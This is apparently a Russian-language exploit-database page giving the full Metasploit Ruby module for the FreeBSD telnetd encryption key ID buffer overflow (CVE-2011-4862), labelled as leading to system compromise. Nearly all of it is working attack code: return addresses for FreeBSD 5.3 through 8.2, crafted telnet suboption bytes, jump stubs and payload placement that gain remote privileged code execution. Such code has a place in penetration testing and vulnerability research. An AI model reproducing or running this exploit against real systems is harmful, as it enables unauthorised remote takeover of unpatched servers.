FreeBSD Telnet Service Encryption Key ID Buffer Overflow Exploit

Свойства

Дата публикации:
13.01.2012
Цель:
FreeBSD
Тип воздействия:
Компрометация системы

Код

##
# $Id: $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
    Rank = GreatRanking

    include Msf::Exploit::Remote::Telnet
    include Msf::Exploit::BruteTargets

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'FreeBSD Telnet Service Encryption Key ID Buffer Overflow',
            'Description'    => %q{    
                    This module exploits a buffer overflow in the encryption option handler of the
                FreeBSD telnet service.
                },
            'Author'         => [ 'Jaime Penalba Estebanez <jpenalbae[at]gmail.com>', 'Brandon Perry <bperry.volatile[at]gmail.com>', 'Dan Rosenberg', 'hdm' ],
            'License'        => MSF_LICENSE,
            'References'     =>
                [
                    ['CVE', '2011-4862'],
                    ['OSVDB', '78020'],
                    ['BID', '51182'],
                    ['URL', 'http://www.exploit-db.com/exploits/18280/';]
                ],
            'Privileged'     => true,
            'Platform'       => 'bsd',
            'Payload'        =>
                {
                    'Space'       => 128,
                    'BadChars'    => "\x00",
                },

            'Targets'        =>
                [
                    [ 'Automatic',  { } ],
                    [ 'FreeBSD 8.2',         { 'Ret' => 0x0804a8a9 } ], # call edx
                    [ 'FreeBSD 8.1',         { 'Ret' => 0x0804a889 } ], # call edx
                    [ 'FreeBSD 8.0',         { 'Ret' => 0x0804a869 } ], # call edx
                    [ 'FreeBSD 7.3/7.4',     { 'Ret' => 0x08057bd0 } ], # call edx
                    [ 'FreeBSD 7.0/7.1/7.2', { 'Ret' => 0x0804c4e0 } ], # call edx
                    [ 'FreeBSD 6.3/6.4',     { 'Ret' => 0x0804a5b4 } ], # call edx
                    [ 'FreeBSD 6.0/6.1/6.2', { 'Ret' => 0x08052925 } ], # call edx
                    [ 'FreeBSD 5.5',         { 'Ret' => 0x0804cf31 } ], # call edx
                    # [ 'FreeBSD 5.4',         { 'Ret' => 0x08050006 } ] # Version 5.4 does not seem to be exploitable (the crypto() function is not called)
                    [ 'FreeBSD 5.3',         { 'Ret' => 0x8059730 } ], # direct return
                    # Versions 5.2 and below do not support encyption
                ],
            'DefaultTarget'  => 0,
            'DisclosureDate' => 'Dec 23 2011'))
    end

    def exploit_target(t)

        connect
        banner_sanitized = Rex::Text.to_hex_ascii(banner.to_s)
        vprint_status(banner_sanitized)

        enc_init      = "\xff\xfa\x26\x00\x01\x01\x12\x13\x14\x15\x16\x17\x18\x19\xff\xf0"
        enc_keyid     = "\xff\xfa\x26\x07"
        end_suboption = "\xff\xf0"

        # Telnet protocol requires 0xff to be escaped with another
        penc = payload.encoded.gsub("\xff", "\xff\xff")

        key_id = Rex::Text.rand_text_alphanumeric(400)
        key_id[ 0, 2] = "\xeb\x76"
        key_id[72, 4] = [ t['Ret'] - 20 ].pack("V")
        key_id[76, 4] = [ t['Ret'] ].pack("V")

        # Some of these bytes can get mangled, jump over them
        key_id[80,112]  = Rex::Text.rand_text_alphanumeric(112)

        # Bounce to the real payload (avoid corruption)
        key_id[120, 2] = "\xeb\x46"

        # The actual payload
        key_id[192, penc.length] = penc

        # Create the Key ID command
        sploit = enc_keyid + key_id + end_suboption

        # Initiate encryption
        sock.put(enc_init)

        # Wait for a successful response
        loop do
            data = sock.get_once(-1, 5) rescue nil
            if not data
                raise RuntimeError, "This system does not support encryption"
            end
            break if data.index("\xff\xfa\x26\x02\x01")
        end

        # The first request smashes the pointer
        print_status("Sending first payload")
        sock.put(sploit)

        # Make sure the server replied to the first request
        data = sock.get_once(-1, 5)
        unless data
            print_status("Server did not respond to first payload")
            return
        end

        # Some delay between each request seems necessary in some cases
        ::IO.select(nil, nil, nil, 0.5)

        # The second request results in the pointer being called
        print_status("Sending second payload...")
        sock.put(sploit)

        handler

        ::IO.select(nil, nil, nil, 0.5)
        disconnect
    end

end

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